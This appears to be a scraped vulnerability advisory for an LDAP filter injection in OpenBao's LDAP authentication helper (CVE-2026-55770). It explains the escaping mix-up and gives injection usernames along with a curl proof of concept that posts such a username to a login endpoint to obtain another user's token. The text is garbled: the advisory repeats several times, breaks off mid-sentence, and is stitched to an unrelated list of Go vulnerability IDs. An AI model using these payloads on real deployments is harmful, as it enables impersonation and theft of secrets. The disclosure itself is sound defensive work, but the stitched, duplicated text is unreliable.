CVE-2026-55770

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:

• sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

• LDAP authentication backend must be configured
• Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
• Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

| Impact | Detail | |--------|--------| | Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity | | Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user | | Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for…

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:

• sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

• LDAP authentication backend must be configured
• Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
• Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

| Impact | Detail | |--------|--------| | Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity | | Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user | | Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for…

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

OpenBao: LDAPi ldaputil (wrong escape func) in github.com/openbao/openbao

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

• GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
• GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
• GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
• GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
• GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
• GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
• GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
• GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
• GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
• GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
• GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
• GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
• GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
• GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
• GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
• GO-2026-5933 GHSA-3g4q-2f67-2gvh
• GO-2026-5934 GHSA-59qp-cfj3-rp64
• GO-2026-5935 GHSA-7856-g3gv-9wq8
• GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
• GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
• GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
• GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
• GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
• GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
• GO-2026-5942 CVE-2026-46600
• GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
• GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
• GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
• GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
• GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
• GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
• GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
• GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
• GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
• GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
• GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
• GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
• GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
• GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
• GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
• GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
• GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
• GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
• GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
• GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
• GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
• GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
• GO-2026-5969 GHSA-g936-7jqj-mwv8
• GO-2026-5970 CVE-2026-56852
• GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
• GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
• GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
• GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
• GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
• GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
• GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
• GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
• GO-2026-5981 GHSA-mqxv-9rm6-w8qc
• GO-2026-5982 GHSA-pqg7-v6wh-3pfp
• GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
• GO-2026-5985 GHSA-7rx3-5wx3-5v76
• GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
• GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
• GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
• GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
• GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
• GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
• GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
• GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
• GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
• GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
• GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
• GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
• GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
• GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
• GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
• GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…